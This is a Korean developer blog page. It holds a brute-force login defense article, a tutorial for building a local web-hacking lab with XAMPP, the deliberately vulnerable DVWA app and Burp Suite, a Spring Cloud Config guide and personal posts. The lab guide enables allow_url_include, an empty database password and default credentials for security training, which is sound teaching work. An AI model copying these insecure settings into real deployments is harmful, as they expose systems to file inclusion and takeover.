반면 여기서 말하는 '다중 인증'은 ID, PASSWORD외에 추가로(그게 무엇이든) 입력 받도록하는 인증 방식을 말한다.


1) 기기 인증

ID, PASSWORD 뿐만 아니라 로그인을 시도하는 기기도 인증하는 방식이다. 현재 이 블로그 서비스 제공하는 업체인, 티스토리도 기기 인증을 지원한다.

관리자 모드에서 기기인증을 활성화 할 경우, 한번도 접속한적 없는 기기에서 로그인을 시도하면 다음 화면과 같이 기기 인증을 받도록 되어 있다.

해커의 경우, 정상 이용자의 기기와는 다른 기기에서 로그인을 시도 할 것이기 때문에 로그인 시도를 할 수가 없게 될 것이다.

주의할 점은, 기기 인증시 기준값이 되는 기기의 고유값을 HTTP Request 정보에만 의존한다면 (비보안 HTTP 환경에서는) 해커가 얼마든지 그 값을 변조할 수 있으므로 주의를 요한다.


2) 캡차 추가

앞서 계정 잠금 후, 캡챠를 사용할 수도 있지만, 처음부터 로그인 시 캡챠를 같이 요구할 수도 있다.

아래 그림은 워드 프레스의 로그인 폼에 캡챠가 적용된 모습인데, 이와 같이 로그인 할 때 캡챠를 함께 사용하는 것이다.

이 캡챠의 경우, 매번 캡챠의 문자가 바뀌는 형식인데, 브루터포스 공격을 시도할 때 문자가 매번 바뀌기 때문에 공격을 자동화 시키기 아주 힘들어진다. 

물론 캡쟈 자체의 보안성이 높아야 하는 것은 당연하다.


요즘은 네이버나 구글과 같은 대형 인터넷 업체에서 무료로 캡챠를 사용할 수 있도록 제공하니 참고 바란다.

네이버 캡챠 API

구글 reCAPTCHA


주의할 것은, 캡챠 사용은 보안성을 높일지 몰라도 이용자의 사용 편의성은 상당히 떨어뜨리게 된다.
(특히 자주 로그인 해야 하는 사이트인 경우) 로그인 할 때마다 캡챠 문자를 입력해야 한다면, 그것처럼 귀찮은 것이 또 있으랴.

이 방식은 관리자 로그인과 같이 보안이 보다 더 중요한 환경에 적용해 볼 만 하다.


3)기타 추가 인증 수단

앞서 이 글에서의 '다중인증'과 보안에서의 '2 factor 인증'을 구분하길 원했지만 2 factor 인증을 다중인증 수단으로 사용할 수도 있다.

예를 들어 로그인 시 ID/PASSWORD 외에 OTP 번호를 요구하거나 메일 인증을 추가할 수도 있다.

'2 factor 인증'을 사용하면 브루터 포스 공격을 거의 완전하게 방어 할 수 있을 것이다.

하지만 (정말 보안이 중요한 곳이 아니라면) 사용 편의성이 너무 떨어지기 일반적인 사이트에서 로그인 보안으로는 좀 과한 느낌이 있다.


4.2.4 강력한 로깅과 모니터링

지금까지 알아본 많은 방어책들이 잘 갖춰져 있다 하더라도 운영 중 모니터링은 필수 요소이다. 

모니터링을 하려면 로그인 요청과 실패에 대한 사항을 기록하고 감시해야 한다.

그리고 이상 현상에 대한 임계치를 설정하고 임계치에 도달 할 경우, 관라지에게 자동으로 Alerting 되도록 모니터링 체계를 구축하는 것이 바람직 하다.

또한 이렇게 모니터링해서 이상현상이 감지되면, 공격용으로 의심되는 IP에 대한 조사 및 블럭킹 등 적극적인 조치가 뒤따라야 한다.


브루터 포스 공격에 대한 방어책을 상세히 알아 보았다. 앞서 장황한 설명의 핵심은 다음 세 가지로 정리할 수 있겠다.

1. 안전한 패스워드 사용 (길고 복잡하고 추측하기 힘든 패스워드)

2. 공격 자동화 저지 (다양한 방법 존재)

3. 공격 시도 탐지 (모니터링과 알림)


지금까지 알아본바와 같이, 기업 입장에서 브루터 포스 공격에 대비해 다양한 방어 수단을 구현할 수 있다. 한가지 생각해 볼 문제는, 웹 사이트의 성격에 맞는 보안성을 제공해야 한다는 것이다.

보안은 항상 트레이드 오프(Trade off)가 존재한다. 대부분 보안성이 올라가면 성능 또는 사용성(편의성)이 떨어지게 마련이다. 기업이 서비스하는 웹 사이트의 성격에 맞는 보안성과 잘 조율된 성능, 사용성을 동시에 만족시키는 것이 필요하다 하겠다.


[웹보안] 로컬 환경 셋팅과 툴 설치

Posted in SW개발 // Posted at 2019. 1. 17. 12:15
728x90

INTRO

이 글에서는,
웹보안을 공부하고 해킹을 실습해 볼 수 있는 툴을 알아보고 설치 방법을 간단히 안내 하고자 합니다. 

사실 웹보안 시리즈를 연재하고자 마음을 먹고서는, 개요부터 쭉~ 한번 훓고 가려 했는데요.
개요 작성에는 시간이 좀 더 필요할 것 같아서, 바로 본론으로 들어갑니다.

중간에 틈이 나면 전반적인 개요을 한번 다뤄볼까 합니다.

미리 말씀드리자면,
개요에서는 웹 보안의 중요성이나 해킹사례, OWASP Top 10과 같은 국제적 참고자료와 웹 보안 관련한 국내 현황과 법률 사항 등 전반의 내용을 다룰 예정입니다.

사실 과거(2006년)에 웹 보안 글을 몇개 끄적인 적이 있습니다. 
당시에서 큰 보부를 가지고 웹보안 전반을 다룰려고 했으나, 그러질 못했네요.

이번에는 인생의 숙제(?)라 생각하고 웹 보안 전반을 다뤄보고자 합니다.

과거 글들은 아래 링크를 참고하세요.(지금 다시 보니 글에 미숙한 점이 많이 보이네요 ^^;)


자 이제 본론으로 들어갑니다.

저의 개발 환경은 '64bit 윈도우 10 Pro' 환경입니다. 이 글에서 소개하는 툴들은 다른 환경(Linux, OS X)에서도 동작가능합니다. 다만 여기서는 윈도우 환경만 설명합니다.

많은 툴들이 있겠지만, 여기서는 앞으로 제가 진행할 웹 보안 Article에서 사용될 몇 가지에 대해서만 알아봅니다. 만일 여기서 소개되지 않은 툴을 제 글에서 다룬다면, 툴 설명을 별도로 추가하겠습니다.

참고로 이 글에서는 설치 과정을 세세하게 설명하지는 않습니다. 설치와 관련된 사항은 이미 인터넷에 많은 자료가 있으니 참고 바랍니다. 물론 그럼에도 설치 문제를 해결하지 못한 경우 편하게 댓글로 문의 주세요.

좋은 도구는 높은 생산성과 직결합니다. 아래 소개한 도구를에 익숙해지길 바랍니다.

---------------------------------------------------------------------------------------------------------------

1. XAMPP (Cross-platform Apache, MariaDB, PHP, Perl)

XAMPP는 APM(Apache, PHP, MySql) 환경구축을 한번에 할 수 있도록 하는 패키지 프로그램이다.

아래 설명할 DVWA 사이트가 PHP와 MariaDB로 구현되어 있는데, 이 사이트를 로컬 PC 구동시키기 위해서 APM 환경이 필요하다.


1.1 XAMPP 다운로드 및 설치

아래 사이트로 가서 XAMPP 설치파일을 다운로드 받는다.

www.apachefriends.org


각 OS 별로 설치 프로그램을 제공하는데, 필자의 경우 현재 시점의 최신 버전의 윈도우용 설치파일을 받아서 설치했다.

(현재 시점 최신 버전) XAMPP for Windows 7.3.0 (PHP 7.3.0)


다운받은 파일을 기본 설정으로 하고 '다음 > 다음 ..' 하여 설치한다.

(설치 과정중 Select Components 단계에서, 불필요한 환경을 제외할 수 있다. 필자 역시 Apache, MySQL, PHP외에 불필요한 것은 설치에서 제외 시켰다)

(그리고 설치 경로를 기억해 두자. 기본값으로 설치했다면 'C:\xampp' 일 것이다)


1.2 XAMPP Control Panel 을 통한 서비스 제어

XAMPP 설치가 완료되면 XAMPP Control Panel이라는 관리패널이 실행된다.

XAMPP Control Panel은 서비스들을 컨트롤 할 수 있는 관리 기능을 제공하는 프로그램이다.

(참고로 XAMPP Control Panel이 실행되면 윈도우 트레이 아이콘에 자동 추가 되므로 창을 닫아도 프로그램이 종료되는 것은 아니다. 프로그램을 종료하려면 트레이 아이콘을 우측 클릭하여 Quit 하면 된다.)

(또한 XAMPP Control Panel 프로그램을 종료(quit)한다고 해서 Apache나 MySQL이 같이 종료되는 것은 아니다. 이 프로그램은 말 그대로 편의성을 위해 별도로 제공되는 GUI 기반 프로그램일 뿐이다)

위 화면에서 보는바와 같이, Apache와 MySQL을 구동(Start)시키자.

브라우저에서 http://127.0.0.1 로 접속해보자. 다음 그림과 같이 XAMPP 대시보드가 로딩된다면 성공적이다.


1.3 설치 및 구동 실패 해결

설치 과정이나 설치 후 Apache, MySQL을 구동 시킬때 제대로 동작하지 않는 경우가 종종있다.

이는 대부분 XAMPP가 사용하는 포트와 서비스가 충돌되기 때문이다.


1.3.1 아파치 구동 실패

Apache 웹서버의 경우 기본 80포트를 사용하는데, 이미 로컬 PC에 80포트가 사용되고 있는 경우 Apache 웹 서버를 시작할 수 없다. (필자의 경우에도 로컬 PC에 IIS 웹서버가 동작중인데 80포트를 사용하는 사이트가 있어서 포트를 변경하였다.)

80 포트를 이용하는 서비스를 찾아서 포트를 변경하던지 해당 서비스를 중지 시키던지 한다. 

다음 명령어를 통해 현재 로컬 PC의 포트와 서비스 PID를 확인할 수 있으니 참고하자.

netstat -ano

(XAMPP Control Panel 에서도 바로 포트를 확인할 수 있도록 기능을 제공한다. 관리 패털의 우측 상단에 있는 'Netstat' 버튼을 클릭하면 포트와 PID 확인이 가능하다.)


1.3.2 MySQL 구동 실패

로컬 PC에 MySQL이 이미 설치되어 있는 경우, path 관련 오류(MySQL Service detected with wrong path)가 나면서  MySQL이 구동되지 않을 것이다.

될수 있으면 기존 설치된 MySQL을 제거하는 것이 가장 단순한 해결 방법이다.

관리자 계정으로 cmd(명령프롬프트)를 실행하고 다음의 명령어로 해당 MySQL을 제거하면 된다.
(기존 MySQL에 있는 오브젝트들은 미리 백업 받아 두는 것이 좋다)

sc delete mysql 

만일 기존에 설치된 MySQL과 XAMPP의 MySQL을 동시에 같이 사용하고 싶을 경우, 다음의 글을 참고하자. (포트와 서비스 명을 서로 다르게 하여 두개의 MySQL 인스턴스를 띄우는 방식이다.)

http://emjaywebdesigns.com/xampp-and-multiple-instances-of-mysql-on-windows/


1.4 DVWA를 위한 XAMPP 셋팅

1.4.1 dvwa 데이터베이스 생성

XAMPP 웹(http://127.0.0.1)에 접속하여 상단의 phpMyAdmin 메뉴로 이동한다.

phpMyAdmin은 웹으로 MySQL을 관리할 수 있는 프로그램이다. 상단의 '데이터베이스' 메뉴로 이동하여 dvwa라는 이름으로 새 데이터베이스를 만든다.


1.4.2 php.ini 파일 수정

'C:\xampp\php\php.ini' 파일에서 다음 값이 Off로 되어 있다면 On으로 변경하고 저장한다

allow_url_fopen=On

allow_url_include=On

이 설정이 필요한 이유는, dvwa 사이트에서 url include을 사용하기 때문이다. 

Apache 웹서버를 재기동 하면 변경된 설정 값이 반영된다.


2. DVWA(Damn Vulnerable Web Application)

DVWA는 그 약자에서도 알 수 있듯이 의도적으로 취약하게 만든 웹 사이트이다. 

보통 웹해킹을 공부하고 직접 시도해 볼려면 여의치가 않다. 임의의 공개된 사이트에 테스트로 해킹을 시도 했다가는 법률적 제재를 받을 수도 있다.

그렇다고 직접 개발하기도 만만치가 않다.

DVWA는 PHP/MySQL 기반으로 제작된 웹 애플리케이션으로, 웹 해킹 기술을 직접 실습하고 공격 대응 방안을 학습하기 위한 목적으로 제작되었다.

다음은 DVWA 사이트에서 발췌한 설명이다.

DVWA (Damn Vulnerable Web App)는 PHP / MySQL 웹 애플리케이션으로 취약합니다. 주요 목표는 보안 전문가가 법률 환경에서 자신의 기술과 도구를 테스트하고 웹 개발자가 웹 응용 프로그램을 보호하는 과정을 더 잘 이해할 수 있도록 지원하고 교사 / 학생이 강의실 환경에서 웹 응용 프로그램 보안을 가르치고 배우도록 돕는 것입니다 .


2.1 DVWA 다운로드 및 설치

아래 주소로 이동하여 DVWA-master.zip 파일을 다운로드 받는다

http://www.dvwa.co.uk/


다운 받은 파일의 압축을 풀고 DVWA-master 폴더의 하위 내용물들을 모두 다음의 위치로 옮긴다

C:\xampp\htdocs\dvwa 

(XAMPP 웹으로 접속 가능하도록 htdocs 폴더 하위에 dvwa라는 이름의 폴더를 생성하여 그 아래로  DVWA-master 폴더 내용을 이동(or 복사) 한다.)

파일들이 정상적으로 이동되었다면, 다음의 주소로  dvwa 사이트에 접속할 수 있다.

http://127.0.0.1/dvwa


위 주소로 최초 접근하면 다음과 같은 Setup 화면이 나오고 추가 설정을 해 줘야 한다.

여기서 빨간색으로 나온 부분을 모두 잡아줘야 사용이 가능해 진다.

reCAPTCHA key 가 설정되지 않아서 빨간색으로 표시되어 있다. 키를 발급 받는 방법을 알아보자.


2.2 reCAPTCHA key 발급 받기

DVWA에서 캡챠 관련 공격을 테스트 하기 위해 필요한 설정이다. reCAPTCHA 키를 받기 위해서 다음의 주소로 접속한다

www.google.com/recaptcha/admin


구글 계정으로 로그인해야 키 발급이 가능하다. 로그인 후 다음 그림과 같이 입력하고 폼을 제출한다.

폼을 제출하면 Site Key와 Secret key가 생성된다. 이 두 키 값을 dvwa 설정 파일에 등록해야 한다.


2.3 설정 파일 수정

먼저 config 폴더에 있는 config.inc.php.dist 파일 이름에서 '.dist'을 제거한다.

config.inc.php.dist --> (파일명 변경) --> config.inc.php


2.3.1 reCAPTCHA key 설정

config.inc.php 파일을 열어서 다음의 내용을 설정한다. 앞서 발급받은 key들을 다음과 같이 알맞게 지정한다.

$_DVWA[ 'recaptcha_public_key' ]  = '(Site Key 값 입력)';

$_DVWA[ 'recaptcha_private_key' ] = '(Secret key 값 입력);


2.3.2 DB 접속 패스워드 수정

config.inc.php 파일의 DB 패스워드를 다음과 같이 패스워드를 공백으로 변경한다.

$_DVWA[ 'db_password' ] = '';

이제 dvwa 설정이 완료되었다. 앞서 접속한 dvwa 설정화면을 새로고침 해보면 reCAPTCHA key 가 녹색으로 표시된것을 확인할 수 있다.


2.4 데이터베이스 생성

마지막으로 dvwa 데이터베이스에 관련 오브젝트들을 생성한다.

설정화면에서 'Create / Reset Database' 버튼을 클릭해서 관련 테이블등을 생성하자

dvwa로 해킹 실습을 해 보다가 데이터를 초기화 하고 싶으면 언제든이 Reset 할 수도 있다.


2.5 DVWA 사이트 접속

이제 DVWA를 위한 모든 설정이 완료되었다.

http://127.0.0.1/dvwa/ 로 접속하여 사이트를 확인해 보자

로그인 창이 뜨면 admin / password로 입력한다. 다음 그림과 같이 DVWA 사이트를 확인할 수 있다.

사이트를 한번 쭉 훓어 보기 바란다.



3. Burp Suite 설치

웹 사이트 테스트 및 해킹 용도로 자주 사용되는 웹 프록시 프로그램이다.웹 요청을 프록시를 경유하도록 만들어서, 중간에 패킷을 가로채어 조사하고 변조해 볼 수 있다.

Burp Suite는 프록시 기능을 넘어, 실제 웹 해킹을 자동화 해서 수행할 수 있는 기능도 제공한다.

유료와 무료 버전이 존재하며 우리는 무료인 커뮤니티 버전을 설치한다.


3.1 Burp Suite 다운로드 및 설치

아래 주소로 이동하여 커뮤니티 버전의 설치 파일을 다운로드 받아서 설치한다.

https://portswigger.net/burp/communitydownload


3.2 브라우저 프록시 설정

3.2.1 프록시 설정 확인

Burp Suite는 기본 8080 포트로 프록시 역할을 수행한다. 다음 그림은 Burp Suite를 실행해서 Proxy 옵션을 확인하는 화면이다. 여기서 프록시 리스닝 포트를 변경할 수 있지만 여기서는 기본값을 사용한다.


3.2.2 브라우저에 프록시 설정하기

필자가 사용하는 구글 크롬 브라우저를 기반으로 프록시 설정을 알아본다.

크롬 브라우저의 설정화면으로 이동한다. 상단의 '설정 검색'에서 '프록시' 라고 검색한다.

'프록시 설정 열기'를 하여 LAN 설정에서 프록시 서버 사용을 활성화하고 IP(localhost)와 포트(8080)를 입력한다.


이렇게 브라우저에 프록시가 설정되면, 이제부터는 모든 웹 요청과 응답은 이 프록시를 경유하게 된다.

* 주의

웹 해킹을 실습하지 않을 때는 프록시 서버를 비활성화 시켜 놓는 것이 좋다.

그렇지 않으면 일반 사이트 접속이 원활하지 않을 수 있다.


이로써 기본적인 툴 설치와 환경 설정이 완료 되었다. 이제부터 본격적으로 웹보안 공부를 시작해 보도록 하자


수고 하셨습니다~~~~~~~~~~~~~~~~


기술사 블로그

Posted in 일상 // Posted at 2018. 6. 25. 17:01
728x90

우연히.. 페이스 북을 보다가 다음의 슬라이드를 접하게 되었다.

>> 개발자를 위한 (블로그) 글스기 intro - 변성윤 -


나도 한때 개인사이트 활동 나름 열심히 했었지... 하면서 슬라이드를 읽다가...

'좋은 글 많이 보기'라는 슬라이드에서 '국내 개발자 블로그 모음'이라는 링크를 타고 들어가 본다.

>> 국내 개발자 블로그 모음(awesome-devblog)


혹시나 내 이름도 있을까?.. 하고 찾아보니 (고맙게도) 목록에 추가되어 있었다


그런데.. 설명에 적힌 내용이 '기술사' 다.

다른 사람들의 블로그는 Back-end니, iOS니 빅데이터니 하는 특정 기술 분야를 언급했는데 내 블로그는 '기술사'다

음... 좋은건지.. 나쁜건지.. 하며 스스로 의아해 한다.

이 블로그가 특정 기술분야를 정해 놓지 않고 있는 탓일테다.

...

사실 한때 한창 닷넷 개발자로 일할 때, 적극적으로 글을 쓰곤 했었는데 그때의 사이트는 이 블로그가 아니었다. 

http://mkex.pe.kr

http://mkexdev.net

두 사이트는 아직도 존재하지만 관리하지는 않는다.

아마 그 시기에 이 분이 목록을 정리했다면 닷넷으로 소개 되었으리라.

어쨌던 그리 열심히 글을 적지 않는데도, 목록에 추가해 준 걸 보니 고맙기도 하고 뭔가 책임감이 들기도 하네. (기술사 관련 글을 좀 적어야 하나??)

좀 더 열심히 포스팅 해야 겠다.(내가 누군가의 글에서 도움을 받았듯이..)

'일상' 카테고리의 다른 글

내가 취득한 자격증과 인증  (0) 2020.06.03
감사하며 살기  (0) 2020.05.12
소프트웨어 보안약점 진단원  (6) 2018.03.01
부산과 바다  (0) 2018.02.20
책 버리기 2  (0) 2018.02.13

설정 파일의 외부화(Spring Cloud Config)

Posted in SW개발 // Posted at 2018. 3. 29. 12:27
728x90

12 Factor App 원칙에서는...
애플리케이션의 환경설정 정보를 코드로부터 분리하여 외부화하는 것을 그 원칙 중 하나로 제시하고 있다.

이는 환경에 따라 달라지는 설정 정보를 소스로부터 분리하여 둘 간의 결합도를 낮추어 유지보수성을 좋게하기 위한 설계 원칙이다.

이런 관점에서, 가장 최악의 선택은 설정정보를 소스코드의 상수로 관리하는 것이다.
요즘 왠만한 프로젝트에서는 상수기반 설정정보를 잘 사용하지는 않는다.

* 설정정보를 소스코드에서 분리시키기

설정 정보를 별도의 소스코드와 분리된 별도의 파일로 관리하는 것이 일반적이다.

스프링 부트 기반으로 볼 때, 
application.properties 또는 application.yml 파일에 설정정보를 관리한다.

단, 이 방식도 (설정파일이) 프로젝트에 포함된 경우라면, 설정정보의 변경이 필요할 경우, 애플리케이션 전체를 다시 빌드하고 배포해야 하는 종속성 문제가 생긴다.

(설정정보를 프로파일로 구분할 수 있는 것도 하나의 해결책이긴 하지만, 이는 프로파일의 종류가 정해진 경우에는 유용하나, 동일한 프로파일내에서의 변경사항은 여전히 종속성 문제를 내포하고 있다)


* 설정정보를 배포 패키지에서 분리시키기

설정정보 파일을 애플리케이션 배포 패키지에서 분리시키기 위한 방법이 몇 가지 존재하긴 한다.

자바 기반 프로젝트로 보면,
1) 애플리케이션 실행 시, 설정정보 파일 위치를 옵션에 명시
2) @PropertySource 어노테이션으로 설정정보 파일 위치 명시
3) 시스템 자체의 환경설정 정보를 읽어오는 System.getProperties() 사용하기

이 중 1)번 방식을 선호하기는 하지만, 이 또한 설정정보 변경이 발생하면 애플리케이셔을 중지했다가 다시 구동해야 하는 종속성 문제가 발싱한다.


* 설정정보를 원격 서버에서 제공하기

Spring Cloud 프로젝트에서 제공하는 Spring Cloud Config 서버를 활용하면 원격지 서버에서 설정정보를 서비스 할 수 있게 해준다.

그리고 설정정보를 동적으로 변경하여 (애플리케이션의 재빌드나, 재구동 없이) 실시간으로 반영시킬 수 있도록 하는 메커니즘을 제공하며 git이나 svn 기반으로 설정정보의 버전 관리를 지원해 준다.


* Spring Cloud Config 서버-클라이언트 구현

1. git 저장소와 설정파일 생성

1) git 저장소 생성
여기서는 설정정보 저장소로 로컬 git을 사용하기로 한다. git 을 설치하고 git 저장소를 init 명령어로 지정한다.

> git init


2) 설정파일 생성
다음의 규칙으로 설정파일 이름을 지정하고 설정정보를 파일에 입력한다.

{applicationName}-{profile}.yml 또는 {applicationName}-{profile}.properties

3) 설정파일 커밋
생성한 설정파일을 git에 add하고 commit 한다.

> git status

> git add -A

> git commit -m "config file create"

4) Config 서버의 설정정보 확인
Config 서버에서 설정정보를 확인하기 위해서는 다음과 같은 규칙으로 접속한다.

http://{ConfigServer}/{applicationName}/{profile}

아래는 프로파일이 없는 경우와 dev 프로파일에 접속하는 예를 보여준다

> http://localhost:8888/my-service/default

http://localhost:8888/my-service/dev


2. Spring Cloud Config 서버 구현

1) Config 서버 프로젝트 생성

스프링 부트 프로젝트로 Config Server와 Actuator을 의존성으로 선택하고 생성한다.
(스프링 부트 2.0은 Spring Cloud Finchley.M9 버전을 사용한다)

2) Config 서버 설정
bootstrap.yml을 resource 폴더에 생성하고 다음과 같이 설정한다.

설정파일이 관리될 로컬 git 저장소를 지정하고, Config 클라이언트를 구분할 목적으로 서브디렉터리를 만들고 searchPaths로 서브디렉터리를 지정해 준다.

spring:
  application:
    name: config-service
  cloud:
    config:
      server:
        git:
          uri: file://{로컬 git 저장소 (루트) 경로}
          searchPaths: subdirectory1, subdirectory2, ..., subdirectory{N}

    

server:
    port: 8888 #Config Server Default Port


2. Spring Cloud Config 클라이언트 구현

1) Config 클라이언트 프로젝트 생성
스프링 부트 프로젝트로 Config Client를 의존성으로 선택하고 생성한다.
(스프링 부트 2.0은 Spring Cloud Finchley.M9 버전을 사용한다)

2) Config 클라이언트 설정
bootstrap.yml을 resource 폴더에 생성하고 다음과 같이 설정한다.

spring:
  profiles:
    active: dev
  application:
    name: sc-api-user-service
  cloud:
    config:       
       uri: http://localhost:8888 #Config 서버 uri
       fail-fast: false #Config Server와 연결이 되지 않으면 예외를 발생시키고 종료하려면 true

3) 설정 정보 사용하기
@Value 어노테이션을 사용하거나 @ConfigurationProperties 어노테이션을 사용하여 Config 서버로 부터 설정정보를 매핑하여 사용할 수 있다.


* Config 서버의 가용성

Config 서버가 1대 뿐이라면 SPOF(single point of failure, 단일장애지점)가 된다.
SPOF는 라이브환경에서는 언제나 재앙의 대상이 되곤 한다.

하지만 Config 서버의 구동방식을 보면 일반적인 SPOF에 비해 그 부담이 다소 적다.

1) 운영중 가용성
Config 서버와 연동하는 클라이언트는 최초 구동시에만 서버에서 설정값을 읽어온다.
이후 부터는 클라이언트 측에 로컬 캐시되어 더 이상 Config 서버와 통신하지 않는다.

다만, 설정정보가 갱신될 경우 클라이언트의 /actuator/refresh 엔드포인트를 사용해서 서버에서 새로운 값을 다시 읽어 오도록 하는데, 이때도 서버가 응답이 없다면 기존 로컬 캐시값을 사용한다


즉 Config 서버가 다운되었다고 하더라도 클라이언트들은 다운되거나 하지 않는다는 말이다.
(단 서버의 변경 값을 동기화하지 못할 경우, 일관성 문제는 생길 수 있다)


2) 최초 구동시 가용성
그렇다면, 클라이언트가 최초 구동될 때 Config 서버가 다운된 상황이라면 어떨까?
이때의 가용성을 위해서 fail-fast 값을 false(기본값)로 준 것이다.
fail-fast 값이 true로 설정되면, Config 서버와 연결하지 못하면 클라이언트는 구동되지 않게 된다.

어떤 선택이 더 나은지는 환경에 따라 다를 것이다.

만일 Config 서버가 이중화되어 있지 않은 상태에서 최소한의 가용성을 확보하기 위해서는 이 값을 false로 하는 것을 생각해 볼 수 있다.

즉 Config 서버가 다운된 상황에서도 클라이언트 프로그램은 구동되도록 하는 것이다.

물론 이렇게 하면 Config 서버로 부터 설정정보를 받아오지 못하는 문제가 생긴다.

이를 위해서 클라이언트에서는 동일한 설정정보를 자신의 설정파일에도 가지고 있으면 된다

이렇게 되면 Config 서버와 연결이 실패한 클라이언트는 동일한 설정을 자신의 설정파일로 부터 읽어 들이게 된다.

이것은 그야말로 최소한의 가용성 확보를 위한 전략이 될 것이다.


3) 보다 나은 가용성
Config 서버자체를 이중화하는 것이다.
로드밸런서를 두고 Config 서버를 이중화하면 장비 차원에서 가용성 확보가 된다.

이때 생각해 봐야 할 문제는 git 저장소의 동기화와 가용성 문제이다.

Config 서버를 이중화 할 경우에는,
로컬 git 저장소를 사용하지 말고 원격의 중앙 git 저장소를 사용하도록 한다.

 원격 git 저장소의 고가용성을 위해서는 다음 글을 참고 하자

https://about.gitlab.com/high-availability/


* 설정 정보의 실시간 동기화

Config 서버의 설정정보가 변경되면 이를 의존 하고 있는 클라이언트 프로그램들에게 알려줘야 하낟.

이때 사용되는 것이 @RefreshScope 어노테이션과 /actuator/refresh 엔드포인트이다.

이 두 작업은 클라이언트 측에서 수행되어야 한다.

실시간 동기화가 필요한 곳, 즉 설정정보를 엑세스 하는 클래스에 @RefreshScope 어노테이션을 붙여 준다.

그리고 클라이언트의 주소에 /actuator/refresh 엔트포인트로 POST (Body는 빈 값으로) 전송을 하면된다.

이렇게 하면 클라이언트 로컬에 캐시된 설정 정보를 Config 서버에서 가져온 값으로 즉시 갱신한다.

그러나 Config 서버에 의존하는 클라이언트가 상당히 많은 수일 경우, 모든 클라이언트의 /actuator/refresh 엔트포인트를 명시적으로 호출해 줘야 하기 때문에 유지보수가 까다로워 진다.

 Spring Cloud Bus를 사용하면 메시지 브로커를 통해 변경 이벤트를 구독하여 자동으로 모든 클라이언트에 변경 정보를 자동으로 동기화 할 수 있다.


-------------------------------------------

오랜만에 글을 쓸려니... 느무~~ 귀찮으니무다... 아...

글 쓰기 싫어서 큰일이다. 쩝...




소프트웨어 보안약점 진단원

Posted in 일상 // Posted at 2018. 3. 1. 09:58
728x90

작년 11월에 취득한 자격증이 이제서야 도착했다. ㅜ.ㅜ

일주일간 교육을 받고,
마지막 날 이론과 실습 시험을 쳐서 (과락 60점에)
종합 점수 70점 이상이면 합격이다.

교육 수강 요건 자체가 수년 이상의 관련 분야 경력을 요구하고,
시험도 객관식과 주관식, 서술식, 보고서 작성 등 만만치 않게 구성되어 있다.

같이 교육 받은 분들과 이전 교육에서 시험에 떨어져 재시험 본 인원까지 합치면 이번 회차에 적어도 7~80명 이상이 시험에 응시하지 않았나 싶다. 

합격 메일에 수신인으로 되어 있는 사람이 총 4명이었으니,
이를 기준으로 합격자가 4명이라면 합격률이 대략 5% 안
밖이라는 계산이 나온다. ㅜㅜ

관련 분야 자격증이 현재와 다른 형태로 재편된다는 얘기가 있던데... 
그래서 그랬는지.... 자격증 발급 시간도 상식 밖으로 오래 걸리고...

이 자격을 어떻게 실무에 자~알 활용할지 고민 좀 해봐야 겠다.


'일상' 카테고리의 다른 글

감사하며 살기  (0) 2020.05.12
기술사 블로그  (2) 2018.06.25
부산과 바다  (0) 2018.02.20
책 버리기 2  (0) 2018.02.13
[기술사] 114회 정보관리기술사 기출문제  (0) 2018.02.06

부산과 바다

Posted in 일상 // Posted at 2018. 2. 20. 13:05
728x90

유독 바람이 세차게 불던 날,
부산 본가의 해안 산책로를 걸으며 의미있는 미래가 무엇인지 고민해 본다.

그 고민의 어렴풋한 답은 머릿속을 맴돌지만, 영화나 드라마의 그것처럼 오랜동안 진지하게 생각하지는 못한다.

그리고...

어느 나른한 오후에 별 생각 없이 다시 동네 앞을 나가본다.

여전히 안개 속인 머리속은 찬 바닷바람에도 시원하게 깨어나지 못한다.



매년 명절마다 들러는 여기도 머지않아 뜸해 지겠지 하며 씁쓸해 한다.


언젠가 끝이 있겠지 하면서도 그 언젠가를 영원으로 생각하는 우매함이란...

그대들이여... 더 오래 나와 함께 할 수 있기를 간절히 기원한다.


'일상' 카테고리의 다른 글

기술사 블로그  (2) 2018.06.25
소프트웨어 보안약점 진단원  (6) 2018.03.01
책 버리기 2  (0) 2018.02.13
[기술사] 114회 정보관리기술사 기출문제  (0) 2018.02.06
얼빵한 고객과 기계적인 종업원  (0) 2018.01.13

책 버리기 2

Posted in 일상 // Posted at 2018. 2. 13. 15:05
728x90

지난 번 책 버리기(http://m.mkexdev.net/204)에 이어 두 번째로 버릴 책을 엄선(?) 했다.

한번 버려본 경험이 있는지라.... 이번에는 그리 큰 고민 없이 버릴 책을 추려냈다.

애매한 책이 몇 개 있긴 했으나...

그나저나 이 글을 쓰려고, 지난 번의 책 버리기 포스팅을 다시 보니 무려 5년 전 글이 아닌가...

보통 세월보다 기억이 더 멀리 느껴 지는데, 이건 그 반대로구나...

지난번 책 버린 날의 느낌과 그 글을 올린 기억은 아주 가까운데 세월이 한참 흘렸구나 한다.

다음번의 책 버리기는 이 보다는 가까우리라...


'일상' 카테고리의 다른 글

소프트웨어 보안약점 진단원  (6) 2018.03.01
부산과 바다  (0) 2018.02.20
[기술사] 114회 정보관리기술사 기출문제  (0) 2018.02.06
얼빵한 고객과 기계적인 종업원  (0) 2018.01.13
2017년도 CEO 표창  (0) 2018.01.08

[기술사] 114회 정보관리기술사 기출문제

Posted in 일상 // Posted at 2018. 2. 6. 09:37
728x90

지난 일요일에 114회 기술사 시험이 있었다.

1교시 문제를 보고는, 이번 회차는 평이한 수준이 될 것으로 보였다.

2교시도 그럭저럭... 자주 언급되는 토픽들이 대부분이라, 준비 된 사람에게는 그리 어렵지 않은 수준으로 보인다.

3교시는 1문제 정도 선택의 고통이 있었으리라... 예상된다.

4교시도 한 두문제 정도 선택의 고민이 있을 듯 보이고..

중요한 것은 고득점을 노릴 수 있는 유형의 문제가 군데 군데 보인다는 점이다.

전체 문제 중, 두 세 문제 정도에서 고득점을 받는 다면 아주 해피 할 것이다.


<1교시>


<2교시>


<3교시>


<4교시>


'일상' 카테고리의 다른 글

부산과 바다  (0) 2018.02.20
책 버리기 2  (0) 2018.02.13
얼빵한 고객과 기계적인 종업원  (0) 2018.01.13
2017년도 CEO 표창  (0) 2018.01.08
후회 최소화 프레임워크  (0) 2017.12.28

얼빵한 고객과 기계적인 종업원

Posted in 일상 // Posted at 2018. 1. 13. 13:22
728x90

(그림출처: LG 사이언스랜드)


주말이면 동네 커피 전문점에 가서 직무와 관련된 공부하거나 책을 읽곤
 한다.

얼마전 동네 스타벅스에 가서 자리를 잡고, 커피를 주문하러 갔다.

카페 라떼 하나요. 따뜻한 걸로...

종업원: XXX, XXX, XXX, XXX 어떤 걸로 드릴까요?

: ???

